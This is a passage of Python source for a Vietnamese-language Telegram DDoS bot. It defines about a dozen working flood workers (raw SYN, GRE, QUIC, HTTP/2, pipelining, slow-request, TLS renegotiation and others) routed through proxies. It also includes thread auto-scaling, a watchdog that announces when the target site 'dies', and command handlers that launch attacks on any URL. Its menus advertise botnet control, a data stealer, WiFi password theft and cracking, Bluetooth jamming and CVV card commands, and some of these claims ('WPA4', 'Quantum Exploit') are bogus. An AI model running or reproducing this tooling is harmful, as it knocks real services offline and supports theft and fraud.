  775.                 sock2.close()
  776.                 with lock:
  777.                     request_counts[chat_id] += 6
  778.                 success = True
  779.             except Exception as e:
  780.                 retry_count += 1
  781.                 if retry_count >= 2:
  782.                     pass
  783.                 time.sleep(0.1)
  784.         time.sleep(delay_ms / 1000)
  785.  
  786. def http2_worker(chat_id, target, delay_ms, worker_id):
  787.     try:
  788.         import h2.connection
  789.         import h2.config
  790.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  791.         port = 443
  792.         while attacks.get(chat_id, {}).get('active', False):
  793.             try:
  794.                 config = h2.config.H2Configuration(client_side=True)
  795.                 conn = h2.connection.H2Connection(config=config)
  796.                 conn.initiate_connection()
  797.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  798.                 context = ssl.create_default_context()
  799.                 sock = context.wrap_socket(sock, server_hostname=host)
  800.                 sock.connect((host, port))
  801.                 sock.send(conn.data_to_send())
  802.                 for i in range(30):
  803.                     conn.send_headers(i, [(':method', 'GET'), (':path', '/'), (':authority', host)])
  804.                     conn.send_data(i, b'')
  805.                     sock.send(conn.data_to_send())
  806.                 sock.close()
  807.                 with lock:
  808.                     request_counts[chat_id] += 30
  809.             except:
  810.                 pass
  811.             time.sleep(delay_ms / 1000)
  812.     except:
  813.         pass
  814.  
  815. def syn_ack_worker(chat_id, target, delay_ms, worker_id):
  816.     try:
  817.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  818.         port = 80 if "http://" in target else 443
  819.         sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
  820.         sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  821.         while attacks.get(chat_id, {}).get('active', False):
  822.             sock.sendto(random._urandom(40), (host, port))
  823.             with lock:
  824.                 request_counts[chat_id] += 1
  825.             time.sleep(delay_ms / 1000)
  826.     except:
  827.         pass
  828.  
  829. def gre_worker(chat_id, target, delay_ms, worker_id):
  830.     try:
  831.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  832.         sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_GRE)
  833.         while attacks.get(chat_id, {}).get('active', False):
  834.             sock.sendto(random._urandom(1024), (host, 0))
  835.             with lock:
  836.                 request_counts[chat_id] += 1
  837.             time.sleep(delay_ms / 1000)
  838.     except:
  839.         pass
  840.  
  841. def quic_worker(chat_id, target, delay_ms, worker_id):
  842.     try:
  843.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  844.         port = 443
  845.         while attacks.get(chat_id, {}).get('active', False):
  846.             try:
  847.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  848.                 quic_packet = b'\xc0\x00\x00\x00\x01' + random._urandom(1200)
  849.                 sock.sendto(quic_packet, (host, port))
  850.                 sock.close()
  851.                 with lock:
  852.                     request_counts[chat_id] += 1
  853.             except:
  854.                 pass
  855.             time.sleep(delay_ms / 1000)
  856.     except:
  857.         pass
  858.  
  859. def websocket_worker(chat_id, target, delay_ms, worker_id):
  860.     try:
  861.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  862.         port = 80 if "http://" in target else 443
  863.         while attacks.get(chat_id, {}).get('active', False):
  864.             try:
  865.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  866.                 sock.connect((host, port))
  867.                 key = base64.b64encode(random._urandom(16)).decode()
  868.                 handshake = f"GET /ws HTTP/1.1\r\nHost: {host}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
  869.                 sock.send(handshake.encode())
  870.                 sock.close()
  871.                 with lock:
  872.                     request_counts[chat_id] += 1
  873.             except:
  874.                 pass
  875.             time.sleep(delay_ms / 1000)
  876.     except:
  877.         pass
  878.  
  879. def graphql_worker(chat_id, target, delay_ms, worker_id):
  880.     session = requests.Session()
  881.     while attacks.get(chat_id, {}).get('active', False):
  882.         try:
  883.             headers = get_headers()
  884.             headers["Content-Type"] = "application/json"
  885.             query = {"query": "query { " + " __typename " * 100 + " }"}
  886.             session.post(target + "/graphql", headers=headers, json=query, timeout=1, proxies=get_random_proxy())
  887.             with lock:
  888.                 request_counts[chat_id] += 1
  889.         except:
  890.             pass
  891.         time.sleep(delay_ms / 1000)
  892.  
  893. def range_worker(chat_id, target, delay_ms, worker_id):
  894.     session = requests.Session()
  895.     while attacks.get(chat_id, {}).get('active', False):
  896.         try:
  897.             headers = get_headers()
  898.             headers["Range"] = "bytes=0-9,10-19,20-29,30-39,40-49,50-59,60-69,70-79,80-89,90-99"
  899.             session.get(target, headers=headers, timeout=1, proxies=get_random_proxy())
  900.             with lock:
  901.                 request_counts[chat_id] += 10
  902.         except:
  903.             pass
  904.         time.sleep(delay_ms / 1000)
  905.  
  906. def pipeline_worker(chat_id, target, delay_ms, worker_id):
  907.     try:
  908.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  909.         port = 80 if "http://" in target else 443
  910.         while attacks.get(chat_id, {}).get('active', False):
  911.             try:
  912.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  913.                 sock.connect((host, port))
  914.                 pipeline = b""
  915.                 for i in range(100):
  916.                     pipeline += f"GET /?r={random.randint(1,999999)} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {random.choice(USER_AGENTS)}\r\n\r\n".encode()
  917.                 sock.send(pipeline)
  918.                 sock.close()
  919.                 with lock:
  920.                     request_counts[chat_id] += 100
  921.             except:
  922.                 pass
  923.             time.sleep(delay_ms / 1000)
  924.     except:
  925.         pass
  926.  
  927. def slow_request_worker(chat_id, target, delay_ms, worker_id):
  928.     try:
  929.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  930.         port = 80 if "http://" in target else 443
  931.         while attacks.get(chat_id, {}).get('active', False):
  932.             try:
  933.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  934.                 sock.connect((host, port))
  935.                 sock.sendto(b"POST / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n", (host, port))
  936.                 for i in range(1000):
  937.                     sock.sendto(b"X-Data-" + str(i).encode() + b": " + random._urandom(10).hex().encode() + b"\r\n", (host, port))
  938.                     time.sleep(0.1)
  939.                 sock.close()
  940.                 with lock:
  941.                     request_counts[chat_id] += 1000
  942.             except:
  943.                 pass
  944.             time.sleep(delay_ms / 1000)
  945.     except:
  946.         pass
  947.  
  948. def tls_reneg_worker(chat_id, target, delay_ms, worker_id):
  949.     try:
  950.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  951.         port = 443
  952.         while attacks.get(chat_id, {}).get('active', False):
  953.             try:
  954.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  955.                 sock.connect((host, port))
  956.                 context = ssl.create_default_context()
  957.                 ssock = context.wrap_socket(sock, server_hostname=host)
  958.                 for _ in range(20):
  959.                     ssock.do_handshake()
  960.                 ssock.close()
  961.                 with lock:
  962.                     request_counts[chat_id] += 20
  963.             except:
  964.                 pass
  965.             time.sleep(delay_ms / 1000)
  966.     except:
  967.         pass
  968.  
  969. METHODS = {
  970.     "http": http_worker,
  971.     "udp": udp_worker,
  972.     "tcp": tcp_worker,
  973.     "slow": slowloris_worker,
  974.     "https": https_flood_worker,
  975.     "dns": dns_amplification_worker,
  976.     "ntp": ntp_amplification_worker,
  977.     "sslren": ssl_renegotiation_worker,
  978.     "slowread": slow_read_worker,
  979.     "combo": combo_worker,
  980.     "http2": http2_worker,
  981.     "synack": syn_ack_worker,
  982.     "gre": gre_worker,
  983.     "quic": quic_worker,
  984.     "ws": websocket_worker,
  985.     "graphql": graphql_worker,
  986.     "range": range_worker,
  987.     "pipeline": pipeline_worker,
  988.     "slow_adv": slow_request_worker,
  989.     "tls_adv": tls_reneg_worker,
  990. }
  991.  
  992. # ==================== QUẢN LÝ TẤN CÔNG ====================
  993. def start_attack(chat_id, target, workers_count, target_rps, method, duration=0):
  994.     req_per_worker = max(1, target_rps // workers_count)
  995.     delay_ms = max(1, 1000 // req_per_worker)
  996.     request_counts[chat_id] = 0
  997.     attacks[chat_id] = {
  998.         'active': True,
  999.         'threads': [],
  1000.         'target': target,
  1001.         'workers': workers_count,
  1002.         'target_rps': target_rps,
  1003.         'method': method,
  1004.         'start_time': time.time(),
  1005.         'max_rps': 0,
  1006.         'total_reqs': 0,
  1007.         'duration': duration
  1008.     }
  1009.     for i in range(workers_count):
  1010.         t = threading.Thread(target=METHODS[method], args=(chat_id, target, delay_ms, i))
  1011.         t.daemon = True
  1012.         t.start()
  1013.         attacks[chat_id]['threads'].append(t)
  1014.     def auto_increase():
  1015.         while attacks.get(chat_id, {}).get('active', False):
  1016.             time.sleep(15)
  1017.             if chat_id not in attacks:
  1018.                 break
  1019.             elapsed = time.time() - attacks[chat_id]['start_time']
  1020.             total = request_counts.get(chat_id, 0)
  1021.             if elapsed < 10:
  1022.                 continue
  1023.             current_rps = int(total / elapsed)
  1024.             target_rps_val = attacks[chat_id]['target_rps']
  1025.             if current_rps < target_rps_val * 0.7 and attacks[chat_id]['workers'] < 2000:
  1026.                 new_workers = int(attacks[chat_id]['workers'] * 1.2) + 10
  1027.                 new_workers = min(new_workers, 2000)
  1028.                 bot.send_message(chat_id, f"🚀 *TỰ TĂNG WORKER* từ `{attacks[chat_id]['workers']}` lên `{new_workers}` để đạt RPS", parse_mode='Markdown')
  1029.                 attacks[chat_id]['workers'] = new_workers
  1030.                 req_per_worker_new = max(1, target_rps_val // new_workers)
  1031.                 delay_ms_new = max(1, 1000 // req_per_worker_new)
  1032.                 for _ in range(new_workers - len(attacks[chat_id]['threads'])):
  1033.                     t = threading.Thread(target=METHODS[method], args=(chat_id, target, delay_ms_new, new_workers))
  1034.                     t.daemon = True
  1035.                     t.start()
  1036.                     attacks[chat_id]['threads'].append(t)
  1037.     threading.Thread(target=auto_increase, daemon=True).start()
  1038.     logging.info(f"Bắt đầu tấn công {target} - workers: {workers_count} - RPS: {target_rps}")
  1039.     return delay_ms
  1040.  
  1041. def stop_attack(chat_id, save_history_flag=True):
  1042.     if chat_id not in attacks:
  1043.         return False
  1044.     attacks[chat_id]['active'] = False
  1045.     for t in attacks[chat_id].get('threads', []):
  1046.         try:
  1047.             t.join(timeout=1)
  1048.         except:
  1049.             pass
  1050.     if save_history_flag and attacks[chat_id].get('total_reqs', 0) > 0:
  1051.         add_to_history(
  1052.             attacks[chat_id]['target'],
  1053.             attacks[chat_id]['total_reqs'],
  1054.             attacks[chat_id]['max_rps'],
  1055.             int(time.time() - attacks[chat_id]['start_time']),
  1056.             attacks[chat_id]['workers'],
  1057.             attacks[chat_id]['method'],
  1058.             attacks[chat_id]['target_rps']
  1059.         )
  1060.     del attacks[chat_id]
  1061.     return True
  1062.  
  1063. # ==================== LỆNH TELEGRAM ====================
  1064. def is_admin(user_id):
  1065.     return user_id == ADMIN_ID
  1066.  
  1067. def is_logged_in(user_id):
  1068.     return logged_in.get(user_id, False)
  1069.  
  1070. @bot.message_handler(commands=['login'])
  1071. def cmd_login(message):
  1072.     user_id = message.from_user.id
  1073.     if not is_admin(user_id):
  1074.         bot.reply_to(message, "❌ Bạn không có quyền admin!")
  1075.         return
  1076.     args = message.text.split()
  1077.     if len(args) < 2:
  1078.         bot.reply_to(message, "❌ /login <mật_khẩu>\nVD: /login 7788")
  1079.         return
  1080.     if args[1] == ADMIN_PASSWORD:
  1081.         logged_in[user_id] = True
  1082.         bot.reply_to(message, "✅ Đăng nhập thành công! Bạn có thể dùng các lệnh bot.")
  1083.         logging.info(f"Admin {user_id} đã đăng nhập")
  1084.     else:
  1085.         bot.reply_to(message, "❌ Sai mật khẩu!")
  1086.  
  1087. @bot.message_handler(commands=['logout'])
  1088. def cmd_logout(message):
  1089.     user_id = message.from_user.id
  1090.     if is_admin(user_id):
  1091.         logged_in[user_id] = False
  1092.         bot.reply_to(message, "🔒 Đã đăng xuất. Cần đăng nhập lại để dùng lệnh.")
  1093.         logging.info(f"Admin {user_id} đã đăng xuất")
  1094.     else:
  1095.         bot.reply_to(message, "❌ Không có quyền.")
  1096.  
  1097. @bot.message_handler(commands=['start'])
  1098. def cmd_start(message):
  1099.     user_id = message.from_user.id
  1100.     if not is_admin(user_id):
  1101.         bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
  1102.         return
  1103.     bot.reply_to(message, """
  1104. 💀 *NULLZEREPTOOL - SIÊU DDOS BOT + WIFI/BLUETOOTH ATTACK* 💀
  1105. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1106.  
  1107. 🔐 *ĐĂNG NHẬP TRƯỚC KHI DÙNG:*
  1108. /login 7788
  1109.  
  1110. 📜 *DANH SÁCH LỆNH:*
  1111.  
  1112. 🔥 *TẤN CÔNG DDOS:*
  1113. /attack <url> <workers> <rps> <method> [time]
  1114. /stop
  1115. /stats
  1116.  
  1117. 🔄 *PROXY:*
  1118. /proxy update
  1119. /proxy list
  1120.  
  1121. 🔑 *QUẢN LÝ KEY:*
  1122. /key [days]
  1123. /keys
  1124. /delkey <key>
  1125.  
  1126. 📜 *LỊCH SỬ:*
  1127. /history
  1128.  
  1129. 🤖 *BOTNET:*
  1130. /listbots
  1131. /botcmd attack <url> <workers> <rps> <method> <duration>
  1132. /botcmd stop
  1133. /broadcast <tin nhắn>
  1134. /update_client
  1135.  
  1136. 📡 *QUÉT WIFI & BLUETOOTH:*
  1137. /scanwifi - Quét thiết bị WiFi + chi tiết
  1138. /scanbt - Quét Bluetooth + chi tiết
  1139. /wifiscan - Quét mạng WiFi xung quanh
  1140. /wifilist - Liệt kê card WiFi
  1141. /btlist - Liệt kê adapter Bluetooth
  1142.  
  1143. 🔐 *CRACK & LẤY PASS WIFI:*
  1144. /wifipass - Lấy mật khẩu WiFi đã lưu
  1145. /wificrack - Crack WPA3/WPA4
  1146.  
  1147. 💀 *TẤN CÔNG WIFI & BLUETOOTH:*
  1148. /deauth - Đá WiFi
  1149. /stopdeauth - Dừng đá WiFi
  1150. /btdeauth - Đá Bluetooth
  1151. /btlock - Khóa chết Bluetooth
  1152. /stopbt - Dừng Bluetooth
  1153.  
  1154. ☢️ *SIÊU TẤN CÔNG KẾT HỢP:*
  1155. /fullattack - WiFi + Bluetooth cùng lúc
  1156. /fullattack2026 - Quantum Exploit WiFi 7 + BLE 6.0
  1157. /stopall - Dừng tất cả
  1158.  
  1159. 🤖 *BOTNET C2 - MẸ + CON:*
  1160. /botnet_task - Ra lệnh cho Botnet Con
  1161. /botnetdata - Xem dữ liệu thu thập
  1162. /botnetslaves - Xem danh sách Botnet Con
  1163. /botnetexport - Xuất file JSON
  1164.  
  1165. 📊 *THỐNG KÊ & TIỆN ÍCH:*
  1166. /chart - Biểu đồ RPS
  1167. /deploy - Hướng dẫn deploy 24/7
  1168. /version - Xem phiên bản
  1169. /update - Cập nhật bot
  1170.  
  1171. 💳 *CVV:*
  1172. /cvv <cc> <cvv> <exp>
  1173. /getcvv
  1174.  
  1175. 🚀 *CÁC METHOD CÓ SẴN:*
  1176. http, udp, tcp, slow, https, dns, ntp, sslren, slowread, combo
  1177. http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv
  1178.  
  1179. 💀 *COMBO LÀ MẠNH NHẤT!*
  1180. """, parse_mode='Markdown')
  1181.  
  1182. @bot.message_handler(commands=['help'])
  1183. def cmd_help(message):
  1184.     user_id = message.from_user.id
  1185.     if not is_admin(user_id):
  1186.         bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
  1187.         return
  1188.     if not is_logged_in(user_id):
  1189.         bot.reply_to(message, "🔐 Bạn cần đăng nhập trước! Gõ /login 7788")
  1190.         return
  1191.     bot.reply_to(message, """
  1192. 💀 *HƯỚNG DẪN SỬ DỤNG BOT* 💀
  1193.  
  1194. 🔐 `/login 7788` - Đăng nhập
  1195.  
  1196. 🔥 *TẤN CÔNG DDOS:*
  1197. `/attack <url> <workers> <rps> <method> [time]`
  1198. `/stop` - Dừng tấn công
  1199. `/stats` - Xem thống kê
  1200. `/history` - Lịch sử tấn công
  1201.  
  1202. 📡 *QUÉT THIẾT BỊ:*
  1203. `/scanwifi` - Quét thiết bị WiFi
  1204. `/scanbt` - Quét Bluetooth
  1205. `/wifiscan` - Quét mạng WiFi
  1206. `/wifipass` - Lấy pass WiFi đã lưu
  1207. `/wificrack` - Crack WPA3/WPA4
  1208.  
  1209. 💀 *TẤN CÔNG:*
  1210. `/deauth` - Đá WiFi
  1211. `/btdeauth` - Đá Bluetooth
  1212. `/btlock` - Khóa Bluetooth
  1213. `/fullattack` - WiFi + Bluetooth
  1214. `/fullattack2026` - Siêu tấn công 2026
  1215. `/stopall` - Dừng tất cả
  1216.  
  1217. 🔄 *PROXY:*
  1218. `/proxy update` - Cập nhật proxy
  1219. `/proxy list` - Danh sách proxy
  1220.  
  1221. 🤖 *BOTNET C2:*
  1222. `/botnet_task wifi_scan` - Ra lệnh quét WiFi
  1223. `/botnet_task full_steal` - Full Stealer
  1224. `/botnetdata` - Xem dữ liệu
  1225. `/botnetslaves` - Xem slaves
  1226. `/botnetexport` - Xuất JSON
  1227.  
  1228. 🔑 *KEY:*
  1229. `/key [days]` - Tạo key
  1230. `/keys` - Danh sách key
  1231. `/delkey <key>` - Xóa key
  1232.  
  1233. 💳 *CVV:*
  1234. `/cvv <cc> <cvv> <exp>`
  1235. `/getcvv`
  1236.  
  1237. 💀 *COMBO LÀ MẠNH NHẤT!*
  1238. """, parse_mode='Markdown')
  1239.  
  1240. @bot.message_handler(commands=['attack'])
  1241. def cmd_attack(message):
  1242.     user_id = message.from_user.id
  1243.     if not is_admin(user_id):
  1244.         bot.reply_to(message, "❌ Bạn không có quyền!")
  1245.         return
  1246.     if not is_logged_in(user_id):
  1247.         bot.reply_to(message, "🔐 Bạn cần đăng nhập trước! Gõ /login 7788")
  1248.         return
  1249.     if is_rate_limited(user_id):
  1250.         bot.reply_to(message, "⏰ Bạn đang gửi quá nhiều lệnh, hãy thử lại sau!")
  1251.         return
  1252.     chat_id = message.chat.id
  1253.     args = message.text.split()
  1254.     if len(args) < 5:
  1255.         bot.reply_to(message, """
  1256. ❌ *SAI CÚ PHÁP!*
  1257. ━━━━━━━━━━━━━
  1258. /attack <url> <workers> <rps> <method> [time]
  1259.  
  1260. 📌 *VÍ DỤ:*
  1261. /attack https://example.com 500 100000 combo
  1262. /attack https://example.com 200 50000 http 60
  1263.  
  1264. ⚙️ *WORKERS:* 1-1000
  1265. 💥 *RPS:* 1000-200000
  1266. 🔥 *METHOD:* combo, http, udp, tcp, slow, https, dns, ntp, sslren, slowread, http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv
  1267. ⏱️ *TIME:* 0 = chạy đến khi stop (mặc định)
  1268.        """, parse_mode='Markdown')
  1269.         return
  1270.     target = args[1]
  1271.     if not target.startswith(('http://', 'https://')):
  1272.         target = 'http://' + target
  1273.     try:
  1274.         workers = int(args[2])
  1275.         if workers < 1 or workers > 1000:
  1276.             raise ValueError
  1277.     except:
  1278.         bot.reply_to(message, "❌ Worker phải từ 1 đến 1000!")
  1279.         return
  1280.     try:
  1281.         target_rps = int(args[3])
  1282.         if target_rps < 100 or target_rps > 200000:
  1283.             raise ValueError
  1284.     except:
  1285.         bot.reply_to(message, "❌ RPS phải từ 100 đến 200000!")
  1286.         return
  1287.     method = args[4].lower()
  1288.     if method not in METHODS:
  1289.         bot.reply_to(message, f"❌ Method '{method}' không hợp lệ!\nCác method có sẵn: {', '.join(METHODS.keys())}")
  1290.         return
  1291.     attack_time = 0
  1292.     if len(args) > 5:
  1293.         try:
  1294.             attack_time = int(args[5])
  1295.             if attack_time < 0:
  1296.                 attack_time = 0
  1297.         except:
  1298.             pass
  1299.     if chat_id in attacks and attacks[chat_id].get('active', False):
  1300.         bot.reply_to(message, "⚠️ Đang có một đợt tấn công! Dùng /stop để dừng trước.")
  1301.         return
  1302.     if not is_web_alive(target):
  1303.         bot.reply_to(message, f"⚠️ *CẢNH BÁO:* Target `{target}` không phản hồi! Vẫn tiếp tục tấn công?", parse_mode='Markdown')
  1304.     if not proxy_list:
  1305.         bot.reply_to(message, "🔄 Đang cập nhật proxy...")
  1306.         update_proxy_list()
  1307.     delay_ms = start_attack(chat_id, target, workers, target_rps, method, attack_time)
  1308.     method_names = {
  1309.         "http": "HTTP Flood (GET+POST+HEAD+OPTIONS)",
  1310.         "udp": "UDP Flood (Layer 4)",
  1311.         "tcp": "TCP Flood",
  1312.         "slow": "Slowloris",
  1313.         "https": "HTTPS Flood (SSL)",
  1314.         "dns": "DNS Amplification",
  1315.         "ntp": "NTP Amplification",
  1316.         "sslren": "SSL Renegotiation",
  1317.         "slowread": "Slow Read Attack",
  1318.         "combo": "COMBO MAX (HTTP+UDP+TCP)",
  1319.         "http2": "HTTP/2 Flood",
  1320.         "synack": "SYN-ACK Flood",
  1321.         "gre": "GRE Flood",
  1322.         "quic": "QUIC Flood",
  1323.         "ws": "WebSocket Flood",
  1324.         "graphql": "GraphQL Flood",
  1325.         "range": "Range Header Flood",
  1326.         "pipeline": "HTTP Pipelining",
  1327.         "slow_adv": "Slow Request Advanced",
  1328.         "tls_adv": "TLS Renegotiation Advanced",
  1329.     }
  1330.     response = f"""
  1331. ✅ *ĐÃ BẮT ĐẦU TẤN CÔNG!*
  1332. ━━━━━━━━━━━━━━━━━━━━
  1333. 🎯 *Target:* `{target}`
  1334. ⚙️ *Workers:* `{workers}`
  1335. 💥 *RPS mục tiêu:* `{target_rps}`
  1336. 🔥 *Method:* `{method_names.get(method, method.upper())}`
  1337. ⏱️ *Delay/worker:* `{delay_ms}ms`
  1338. 🔄 *Proxy:* `{len(proxy_list)}` proxy
  1339.    """
  1340.     if attack_time > 0:
  1341.         response += f"⏰ *Tự động dừng sau:* `{attack_time} giây`\n"
  1342.     response += """
  1343. 📊 Theo dõi: /stats
  1344. 🛑 Dừng: /stop
  1345.    """
  1346.     bot.reply_to(message, response, parse_mode='Markdown')
  1347.     if attack_time > 0:
  1348.         def auto_stop():
  1349.             time.sleep(attack_time)
  1350.             if chat_id in attacks and attacks[chat_id].get('active', False):
  1351.                 total = request_counts.get(chat_id, 0)
  1352.                 if attacks[chat_id].get('total_reqs', 0) == 0:
  1353.                     attacks[chat_id]['total_reqs'] = total
  1354.                 stop_attack(chat_id)
  1355.                 bot.send_message(chat_id, f"⏰ *TỰ ĐỘNG DỪNG SAU {attack_time}s*\n📨 Tổng request: {total:,}", parse_mode='Markdown')
  1356.         threading.Thread(target=auto_stop, daemon=True).start()
  1357.     def report_loop():
  1358.         last_req = 0
  1359.         last_time = time.time()
  1360.         while chat_id in attacks and attacks[chat_id].get('active', False):
  1361.             time.sleep(20)
  1362.             if chat_id in attacks and attacks[chat_id].get('active', False):
  1363.                 current_req = request_counts.get(chat_id, 0)
  1364.                 current_time = time.time()
  1365.                 elapsed = current_time - last_time
  1366.                 if elapsed > 0:
  1367.                     current_rps = int((current_req - last_req) / elapsed)
  1368.                     if current_rps > attacks[chat_id].get('max_rps', 0):
  1369.                         attacks[chat_id]['max_rps'] = current_rps
  1370.                     attacks[chat_id]['total_reqs'] = current_req
  1371.                 bot.send_message(chat_id, f"""
  1372. 📊 *BÁO CÁO ĐỊNH KỲ*
  1373. ━━━━━━━━━━━━━━━
  1374. 📨 Tổng request: `{current_req:,}`
  1375. ⚡ RPS hiện tại: `{current_rps}`
  1376. 🏆 RPS cao nhất: `{attacks[chat_id]['max_rps']}`
  1377. 🎯 RPS mục tiêu: `{target_rps}`
  1378. 🔥 Method: `{method.upper()}`
  1379.                """, parse_mode='Markdown')
  1380.                 last_req = current_req
  1381.                 last_time = current_time
  1382.     threading.Thread(target=report_loop, daemon=True).start()
  1383.     def web_watchdog():
  1384.         while chat_id in attacks and attacks[chat_id].get('active', False):
  1385.             time.sleep(5)
  1386.             if not is_web_alive(target):
  1387.                 if chat_id in attacks and attacks[chat_id].get('active', False):
  1388.                     total = request_counts.get(chat_id, 0)
  1389.                     bot.send_message(chat_id, f"💀 *WEB ĐÃ CHẾT!*\n📨 Tổng request: {total:,}", parse_mode='Markdown')
  1390.                     stop_attack(chat_id)
  1391.                     break
  1392.     threading.Thread(target=web_watchdog, daemon=True).start()
  1393.  
  1394. @bot.message_handler(commands=['stop'])
  1395. def cmd_stop(message):
  1396.     user_id = message.from_user.id
  1397.     if not is_admin(user_id):
  1398.         bot.reply_to(message, "❌ Không có quyền!")
  1399.         return
  1400.     if not is_logged_in(user_id):
  1401.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1402.         return
  1403.     chat_id = message.chat.id
  1404.     if chat_id not in attacks or not attacks[chat_id].get('active', False):
  1405.         bot.reply_to(message, "ℹ️ Không có đợt tấn công nào đang chạy!")
  1406.         return
  1407.     total_reqs = request_counts.get(chat_id, 0)
  1408.     max_rps = attacks[chat_id].get('max_rps', 0)
  1409.     target = attacks[chat_id].get('target', 'Unknown')
  1410.     workers = attacks[chat_id].get('workers', 0)
  1411.     target_rps = attacks[chat_id].get('target_rps', 0)
  1412.     method = attacks[chat_id].get('method', 'unknown')
  1413.     duration = int(time.time() - attacks[chat_id].get('start_time', time.time()))
  1414.     attacks[chat_id]['total_reqs'] = total_reqs
  1415.     attacks[chat_id]['max_rps'] = max_rps
  1416.     stop_attack(chat_id)
  1417.     bot.reply_to(message, f"""
  1418. 🛑 *ĐÃ DỪNG TẤN CÔNG*
  1419. ━━━━━━━━━━━━━━━━━━
  1420. 🎯 *Target:* `{target}`
  1421. 📨 *Tổng request:* `{total_reqs:,}`
  1422. 🏆 *RPS cao nhất:* `{max_rps}`
  1423. 💥 *RPS mục tiêu:* `{target_rps}`
  1424. ⚙️ *Workers:* `{workers}`
  1425. 🔥 *Method:* `{method.upper()}`
  1426. ⏱️ *Thời gian:* `{duration}s`
  1427.    """, parse_mode='Markdown')
  1428.  
  1429. @bot.message_handler(commands=['stats'])
  1430. def cmd_stats(message):
  1431.     user_id = message.from_user.id
  1432.     if not is_admin(user_id):
  1433.         bot.reply_to(message, "❌ Không có quyền!")
  1434.         return
  1435.     if not is_logged_in(user_id):
  1436.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1437.         return
  1438.     chat_id = message.chat.id
  1439.     if chat_id not in attacks or not attacks[chat_id].get('active', False):
  1440.         bot.reply_to(message, "ℹ️ Không có đợt tấn công nào đang chạy!")
  1441.         return
  1442.     total_reqs = request_counts.get(chat_id, 0)
  1443.     elapsed = max(1, int(time.time() - attacks[chat_id]['start_time']))
  1444.     current_rps = total_reqs // elapsed
  1445.     max_rps = attacks[chat_id].get('max_rps', 0)
  1446.     bot.reply_to(message, f"""
  1447. 📊 *THỐNG KÊ CHI TIẾT*
  1448. ━━━━━━━━━━━━━━━━━━
  1449. 🎯 *Target:* `{attacks[chat_id]['target']}`
  1450. 📨 *Tổng request:* `{total_reqs:,}`
  1451. ⚡ *RPS hiện tại:* `{current_rps}`
  1452. 🏆 *RPS cao nhất:* `{max_rps}`
  1453. 🎯 *RPS mục tiêu:* `{attacks[chat_id]['target_rps']}`
  1454. ⚙️ *Workers:* `{attacks[chat_id]['workers']}`
  1455. 🔥 *Method:* `{attacks[chat_id]['method'].upper()}`
  1456. ⏱️ *Thời gian:* `{elapsed}s`
  1457.    """, parse_mode='Markdown')
  1458.  
  1459. @bot.message_handler(commands=['history'])
  1460. def cmd_history(message):
  1461.     user_id = message.from_user.id
  1462.     if not is_admin(user_id):
  1463.         bot.reply_to(message, "❌ Không có quyền!")
  1464.         return
  1465.     if not is_logged_in(user_id):
  1466.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1467.         return
  1468.     history = load_history()
  1469.     if not history:
  1470.         bot.reply_to(message, "📭 Chưa có lịch sử tấn công nào!")
  1471.         return
  1472.     text = "📜 *LỊCH SỬ TẤN CÔNG*\n━━━━━━━━━━━━━━━━━━\n\n"
  1473.     for i, item in enumerate(history[:15], 1):
  1474.         text += f"{i}. 🎯 `{item['target'][:50]}`\n"
  1475.         text += f"   📨 `{item['requests']:,}` req | 🚀 `{item['max_rps']}` rps\n"
  1476.         text += f"   ⚙️ `{item['workers']}` workers | ⏱️ `{item['duration']}`s\n"
  1477.         text += f"   🔥 `{item['method'].upper()}` | 🎯 `{item.get('rps_target', 'N/A')}` rps\n"
  1478.         text += f"   📅 `{item['time']}`\n"
  1479.         if item.get('web_died'):
  1480.             text += f"   💀 *WEB ĐÃ CHẾT*\n"
  1481.         text += "\n"
  1482.     bot.reply_to(message, text, parse_mode='Markdown')
  1483.  
  1484. @bot.message_handler(commands=['proxy'])
  1485. def cmd_proxy(message):
  1486.     user_id = message.from_user.id
  1487.     if not is_admin(user_id):
  1488.         bot.reply_to(message, "❌ Không có quyền!")
  1489.         return
  1490.     if not is_logged_in(user_id):
  1491.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1492.         return
  1493.     args = message.text.split()
  1494.     if len(args) < 2:
  1495.         bot.reply_to(message, f"""
  1496. 📡 *PROXY MANAGEMENT*
  1497. ━━━━━━━━━━━━━━━━━━
  1498. 📡 *Số proxy:* `{len(proxy_list)}`
  1499.  
  1500. 🔧 *LỆNH:*
  1501. /proxy update - Cập nhật proxy mới
  1502. /proxy list - Xem danh sách proxy
  1503.        """, parse_mode='Markdown')
  1504.         return
  1505.     if args[1] == "update":
  1506.         bot.reply_to(message, "🔄 Đang cập nhật proxy, vui lòng chờ...")
  1507.         update_proxy_list()
  1508.         bot.reply_to(message, f"✅ Đã cập nhật thành công {len(proxy_list)} proxy!")
  1509.     elif args[1] == "list":
  1510.         if proxy_list:
